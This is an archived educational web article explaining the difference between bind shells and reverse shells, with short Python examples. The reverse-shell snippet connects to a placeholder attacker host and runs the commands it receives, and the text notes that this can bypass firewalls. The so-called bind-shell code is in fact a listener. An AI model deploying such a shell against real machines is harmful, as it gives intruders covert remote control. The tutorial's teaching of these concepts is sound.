The Wayback Machine - https://web.archive.org/web/20240829150139/https://www.geeksforgeeks.org/difference-between-bind-shell-and-reverse-shell/
Open In App

Difference Between Bind Shell and Reverse Shell

Last Updated : 21 Aug, 2024
Comments
Improve
Suggest changes
Like Article
Like
Save
Share
Report
News Follow

A shell is a program that interprets our commands and gives the written commands to the operating system. It acts as an interface between the user and the operating system. It takes input from the keyboard and gives it to the OS, and the terminal lets you type commands and interact with the shell.

When to Use Reverse Shell and Bind Shell?

Both reverse shells and bind shells describe techniques in network security for establishing a link between an attacker and a target machine. However, the use of any of them is highly scenario-dependent:

  • Reverse Shell: This would be needed—one of the main applications of a reverse shell—when a target machine is behind a firewall or NAT, making it hard to initiate an inbound connection. The target machine will connect to the attacker’s machine in this setup, hence bypassing the firewall restrictions.
  • Bind Shell: A bind shell is applicable when the attacker’s machine is able to connect directly to the target machine. In that respect, the target machine is listening to some port for incoming connections, and control is given to the attacking machine upon connection to that port..

The choice to use a reverse shell or a bind shell will, therefore, be determined by configurations of the network, the firewall, and the extent of access the attacker has to the target machine.

How to Create a Bind Shell?

Creating a bind shell can be done using various tools and programming languages. Below is an example using Python:

Python Bind Shell Example

Python
import socket
import os

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to a public host, and a well-known port
s.bind(("0.0.0.0", 4444))

# Become a server socket
s.listen(1)

print("Listening on port 4444...")

# Accept connections from outside
(client_socket, client_address) = s.accept()
print(f"Connection from {client_address} has been established!")

# Send commands to the shell
while True:
    command = input("Shell> ")
    if command.lower() == "exit":
        client_socket.send(b"exit")
        break
    client_socket.send(command.encode())
    response = client_socket.recv(1024).decode()
    print(response)

client_socket.close()
s.close()

In this example, the bind shell listens on port 4444, and once a connection is established, it allows the attacker to send commands to the target machine.

How to Create a Reverse Shell?

Other reverse shells can be created with several tools and programming languages. For example, Python:

Python Reverse Shell Example

Python
import socket
import subprocess

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the attacker's machine
s.connect(("attacker_ip", 4444))

# Redirect input/output to the socket
while True:
    command = s.recv(1024).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())

s.close()

In this case, the reverse shell connects to the attacker’s machine on port 4444. The attacker can thereby issue commands for execution on the target machine.

Some Popular Shell

  • Windows PowerShell
  • Windows Command Prompt
  • bash
  • sh
  • dash
  • Born
  • Korn

Port

In simple words, a port is an opening where a connection can be made. 

For example, for visiting a website like https://geeksforgeeks.org, the connection will be established to port 443 because HTTPS and the server use port 443 for connection. Ports are the number associated with IP addresses.

Some commonly used ports are

  • Port 21 for control, 20 for data transfer – FTP
  • Port 22 – SSH
  • Port 25 – SMTP
  • Port 80 – HTTP
  • Port 443 – HTTPS
  • Port 465 – SMTPS
  • Port 587 – SMTP
  • Port 993 – IMAP

Bind Shell

Bind Shell

Bind Shell

A bind shell is a sort of setup where remote consoles are established with other computers over the network. In Bind shell, an attacker launches a service on the target computer, to which the attacker can connect. In a bind shell, an attacker can connect to the target computer and execute commands on the target computer. To launch a bind shell, the attacker must have the IP address of the victim to access the target computer.

Reverse Shell

Reverse Shell

Reverse Shell

A reverse shell or connect-back is a setup, where the attacker must first start the server on his machine, while the target machine will have to act as a client that connects to the server served by the attacker. After the successful connection, the attacker can gain access to the shell of the target computer.

To launch a Reverse shell, the attacker doesn’t need to know the IP address of the victim to access the target computer.

Difference Between Bind Shell and Reverse Shell

Bind Shell

Reverse Shell

Bind Shells have the listener running on the target and the attacker connects to the listener in order to gain remote access to the target system.In the reverse shell, the attacker has the listener running on his/her machine and the target connects to the attacker with a shell. So that attacker can access the target system.
In Bind shell, the attacker finds an open port on the server/ target machine and then tries to bind his shell to that port.In the reverse shell, the attacker opens his own port. So that victim can connect to that port for successful connection.
The attacker must know the IP address of the victim before launching the Bind Shell.The attacker doesn’t need to know the IP address of the victim, because the attacker is going to connect to our open port.
In Bind shell, the listener is ON on the target machine and the attacker connects to it.The Reverse shell is opposite of the Bind Shell, in the reverse shell, the listener is ON on the Attacker machine and the target machine connects to it.
Bind Shell sometimes will fail, because modern firewalls don’t allow outsiders to connect to open ports.Reverse Shell can bypass the firewall issues because this target machine tries to connect to the attacker, so the firewall doesn’t bother checking packets.

Conclusion

Reverse and bind shells are two major applications of penetration testing and can also be used in network security. Knowing when and how to apply them is very important for both attackers and defenders. Generally, in cases where the target machine is behind a firewall, then a reverse shell would be in order. At the same time, if a direct connection to the target is possible, then a bind shell is used.

Difference Between Bind Shell and Reverse Shell – FAQs

What is the major difference between a reverse shell and a bind shell?

The major difference lies in the way the connection is established. In the reverse shell, the target machine initiates the connection to the attacker. While in the bind shell, the attacker connects directly to the target machine.

Reverse and bind shells—are they legal?

Yes, if used for ethical hacking and authorized penetration testing. Their usage in other areas without authority is illegal and punishable under the Law.

Are reverse shells detectable by firewalls?

Many times, a reverse shell can bypass a firewall, but with most advanced detection systems, there would still be an indication of something fishy.



Similar Reads

Shell Script to Show the Difference Between echo “$SHELL” and echo ‘$SHELL’
In shell scripting and Linux, the echo command is used to display text on the terminal or console. When used with the $SHELL variable, which contains the path of the current user's shell program, the output of the echo command can be different depending on whether the variable is enclosed in single or double quotes. echo "$SHELL" will expand the $S
4 min read
Shell Scripting - Difference between Korn Shell and Bash shell
Korn Shell: Korn Shell or KSH was developed by a person named David Korn, which attempts to integrate the features of other shells like C shell, Bourne Shell, etc. Korn Shell allows developers to generate and create new shell commands whenever it is required. Korn shell was developed a long year back as it is older than the BASH shell and it has fe
3 min read
Difference between Thompson Shell and POSIX Shell
Introduction : Thompson Shell, also known as sh, was the first Unix shell created by Ken Thompson in the early 1970s. It was designed to be a small, simple, and fast shell with a limited number of features. The Thompson Shell is no longer in use today and has been replaced by more advanced shells such as the POSIX Shell. The POSIX Shell, also known
2 min read
Difference between v-bind and v-model in Vue.js
This article covers the difference between v-model and v-bind in Vue.js. The following steps are used to explain their differences. The v-model is a two-way binding which means if you change the input value, the bound data will be changed. The v-model directive is used to create two-way data bindings on form input, textarea, and select elements. Ex
2 min read
Difference Between live() and bind() Methods in jQuery
Before looking at the differences between jQuery live() and bind() methods, let us briefly understand both methods. live(): This method is used to attach one or more event handlers to the selected element. We specify a function for each event so that when that event occurs, the associated function will execute. This method works for future elements
4 min read
Korn Shell vs Bash Shell
Introduction : Korn Shell, also known as ksh, is a Unix shell that was developed by David Korn in the early 1980s. It was designed to be a more powerful and interactive shell than the Bourne Shell (sh), which was the standard Unix shell at the time. The Korn Shell has features such as command-line editing, job control, and shell scripting, making i
6 min read
Difference Between Single and Double Quotes in Shell Script and Linux
Single quotes and double quotes are both functional in Linux while working with shell scripts or executing commands directly in the terminal but there is a difference between the way the bash shell interprets them. Single quotes: Enclosing characters in single quotation marks (') holds onto the literal value of each character within the quotes. In
3 min read
Code Reverse Engineering - How To Reverse Engineer Your Expired Software
This article is designed to demonstrate the subversion mechanism of an expired version of software including validation check, modify the existing behavior of an executable binary without even access or analyzing its source code by exercising advance reverse engineering mechanism. In simple term, we have mere the executable file of a particular app
6 min read
Difference between Shell and Kernel
Introduction : In a computer operating system, the shell and the kernel are two important components that work together to enable the user to interact with the system. The shell is a command-line interface that allows the user to enter commands to interact with the operating system. It acts as an intermediary between the user and the kernel, interp
3 min read
Bash Script - Difference between Bash Script and Shell Script
In computer programming, a script is defined as a sequence of instructions that is executed by another program. A shell is a command-line interpreter of Linux which provides an interface between the user and the kernel system and executes a sequence of instructions called commands. A shell is capable of running a script. A script that is passed to
3 min read
Difference Between a Proxy Server and a Reverse Proxy Server
A proxy server and a reverse proxy server are multipurpose servers intersituating between clients and servers. While they do the same tasks, they differ in the manner of implementation and operation as far as an undertaking is concerned. They tend to strengthen server security, optimize network performance, and control the exchanged traffic. What i
5 min read
Secure Shell and TLS
Secure Shell : Secure Shell is designed to be very simple and cost-effective for secure network communications. SSH Client and server applications are widely available for most operating systems. SSH runs on top of TCP and has three protocol stacks as follows. SSH Transport Layer Protocol - This is mainly used for providing server authentication, d
1 min read
Implementation of CI/CD in Java application(Linux) Using Shell and Docker Executor on GitLab
There are many executors available to implement CI/CD with GitLab Runner. However, Shell and Docker are more popular among them, and we can easily configure a repository with these runners. These runners can be chosen based on the requirements and availability of the resources. This article mainly focuses on Shell and Docker executors of Java Linux
6 min read
How to Access Google Cloud Shell via Termux and SSH?
In this article we are going to learn about how to install Gcloud CLI on termux and SSH into your free google cloud console from your mobile. Installation: Follow the below steps to SSH into google cloud shell from mobile using termux: Step 1: You need to install termux on your mobile. Don't download it from playstore or appstore , instead install
2 min read
Developing a Linux based shell
What is a shell? It's the visible part of an operating system that users interact with, users interact with the operating system by providing commands to the shell, which in turn interprets these commands and executes them. The following image shows the simplified execution process, in which the shell receives input, passes it to the lexical analyz
9 min read
MongoDB - Query Documents using Mongo Shell
MongoDB provides you read operations to retrieve documents from the collection or query a collection for a document. You can perform read operations using the db.collection.find() method. This method selects or views the documents from the collection and returns the cursor to the selected document. find() is a mongo shell method, which can be used
4 min read
MongoDB - Query Embedded Documents Using Mongo Shell
MongoDB provides you read operations to retrieve embedded/nested documents from the collection or query a collection for a embedded/nested document. You can perform read operations using the db.collection.find() method. This method selects or views embedded/nested documents of the collection and returns the cursor to the selected document. Syntax:
3 min read
SECURE Shell architecture
In this article, we will discuss the overview of SSH(Secure Shell) protocol and then will mainly focus on its architecture part and will explain its working. Let's discuss it one by one. SSH(secure shell protocol) : It is a scientific discipline network protocol for operative network services over an unsecured network.It is designed to replace the
3 min read
Introduction to SSH(Secure Shell) Keys
The SSH(Secure Shell) is an access credential that is used in the SSH Protocol. In other words, it is a cryptographic network protocol that is used for transferring encrypted data over the network. The port number of SSH is 22(Twenty-Two). It allows you to connect to a server, or multiple servers, without having to remember or enter your password f
5 min read
MongoDB - Delete Multiple Documents Using MongoDB Shell
The db.collection.deleteMany() method is used to delete multiple documents from a collection in Mongo Shell. This method deletes multiple documents from the collection according to the filter. The deleteMany() is a Mongo shell method, which can delete multiple documents. This method can be used in multi-document transactions. If you use this method
2 min read
Implementation of CI/CD in .NET application Using Shell Executor on GitLab
Continuous Integration and Continuous Deployment (CI/CD) have revolutionized software development, allowing teams to automate build, test, and deployment processes for rapid and reliable software delivery. In the .NET ecosystem, implementing CI/CD pipelines is important for maintaining code quality, improving collaboration, and accelerating time-to
6 min read
Penetration Testing and Reverse Engineering
What is Penetration Testing? Penetration Testing has been evolving throughout the year with a robust increase in highly sophisticated attacks. Every organization is now aware of the damage caused by cyber-attacks. Private and Government organizations are now conducting scheduled penetration tests for every three months or less than that. The attack
3 min read
ARP, Reverse ARP(RARP), Inverse ARP (InARP), Proxy ARP and Gratuitous ARP
Prerequisite IP Addressing, Introduction of MAC Addresses, Basics of Address Resolution Protocol (ARP) In this article, we will discuss about whole ARP-family, which are ARP, RARP, InARP, Proxy ARP and Gratuitous ARP. Let's try to understand each one by one. 1. Address Resolution Protocol (ARP) - Address Resolution Protocol is a communication proto
6 min read
Difference between Difference Engine and Analytical Engine
Introduction: The development of computing technology has a rich history, with many inventions and innovations leading to the creation of the modern computer. Two such machines, the Difference Engine and Analytical Engine, were created by the English mathematician and inventor Charles Babbage in the 19th century. While these machines share some sim
7 min read
Difference between Voltage Drop and Potential Difference
Voltage Drop is defined as the decrease in the electric potential along the path of current that is flowing in an electric circuit. Voltage drop can be assigned at each point in the electric circuit that is proportional to the electrical elevation. The amount of energy delivered per second to any component in the circuit is equal to the voltage dro
4 min read
Difference Between Electric Potential and Potential Difference
The flow of electric charges is known as electricity, and it is responsible for producing electric current. An important word associated with electricity is electric potential. A potential difference is required to create the flow of electrons and hence, produce electricity. Before understanding the difference between electric potential and potenti
7 min read
Reverse Video in Matlab
MATLAB provides algorithms and tools to process, analyze and interact with videos. VideoReader lets you import videos into MATLAB. This function supports formats such as AVI, MPEG as well as platform specific formats for Windows, MAC and Linux. Video: A video is a set of images known as frames. It contains four dimensions i.e. 1st dimension is for
2 min read
What Is Poison Reverse in Networking?
Poison Reverse is a loop avoidance method used in Routing Information Protocol (RIP) in Distance Vector Routing Protocol (DVRP) which allows a RIP enabled interface setting the cost of the route (i.e. setting hop count which generally ranges from 0 to 15) that it gets from its neighboring routers to 16 (here 16 will be considered as infinity) which
4 min read
Poison Reverse vs Split Horizon
Split Horizon and Reverse Poisoning both are techniques also called loop prevention mechanisms used in the network layer. In this article, we will discuss what split horizon, poison reverse, and the main difference between poison reverse and split horizon. Split Horizon:Distance vector protocols employ the split horizon technique to avoid network r
3 min read
What is Reverse DNS?
The Reverse DNS is the method to find the domain name of the computer from the IP address. IP addresses are the set of numbers that computers use to identify each other on the internet. What is Reverse DNS?Reverse DNS (R-DNS) is a method of resolving an IP address into its corresponding domain name, which is the opposite of the common forward DNS l
4 min read